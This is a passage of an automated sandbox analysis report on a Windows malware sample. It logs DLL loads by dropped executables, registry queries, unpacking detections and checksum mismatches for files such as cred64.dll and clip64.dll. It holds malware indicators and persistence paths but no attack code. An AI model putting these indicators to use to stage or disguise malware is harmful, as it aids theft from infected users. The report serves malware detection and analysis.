Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Jump to behavior

Source: UeW2b6mU6Z.exe

Static file information: File size 3102720 > 1048576

Source: UeW2b6mU6Z.exe

Static PE information: Raw size of ldcfgzdi is bigger than: 0x100000 < 0x2c3400

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.pdb source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: agement.Automation.pdb source: powershell.exe, 0000001D.00000002.2649122722.000001CA6D6D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb source: powershell.exe, 0000001D.00000002.2649122722.000001CA6D6D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb< source: powershell.exe, 0000001D.00000002.2649486019.000001CA6D701000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D698000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: powershell.exe, 0000001D.00000002.2649486019.000001CA6D701000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.pdbC source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D6A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.Core.pdb source: powershell.exe, 0000001D.00000002.2649122722.000001CA6D6D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.PowerShell.Commands.Management.pdbpdbent.pdb source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000001D.00000002.2646507440.000001CA6D698000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Unpacked PE file: 0.2.UeW2b6mU6Z.exe.c40000.0.unpack :EW;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 1.2.explorha.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 2.2.explorha.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 6.2.explorha.exe.ad0000.1.unpack :EW;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ldcfgzdi:EW;thopgwrw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Unpacked PE file: 12.2.amert.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mxcnarui:EW;nxgghrcb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mxcnarui:EW;nxgghrcb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Unpacked PE file: 16.2.chrosha.exe.720000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mxcnarui:EW;nxgghrcb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mxcnarui:EW;nxgghrcb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Unpacked PE file: 20.2.590971cd60.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW; vs :ER;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 38.2.MPGPH131.exe.630000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW; vs :ER;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 40.2.MPGPH131.exe.630000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW; vs :ER;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW;
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Unpacked PE file: 46.2.RageMP131.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW; vs :ER;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW;
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Unpacked PE file: 55.2.590971cd60.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW; vs :ER;.rsrc:W;.idata :W; :EW;kiragzej:EW;cquspnza:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: UeW2b6mU6Z.exe	Static PE information: real checksum: 0x2f5a1c should be: 0x2f7366
Source: cred64[1].dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x147ee8
Source: clip64[2].dll.16.dr	Static PE information: real checksum: 0x0 should be: 0x2272f
Source: amert.exe.6.dr	Static PE information: real checksum: 0x1dc6c6 should be: 0x1dbe20
Source: clip64.dll.16.dr	Static PE information: real checksum: 0x0 should be: 0x2272f
Source: chrosha.exe.12.dr	Static PE information: real checksum: 0x1dc6c6 should be: 0x1dbe20
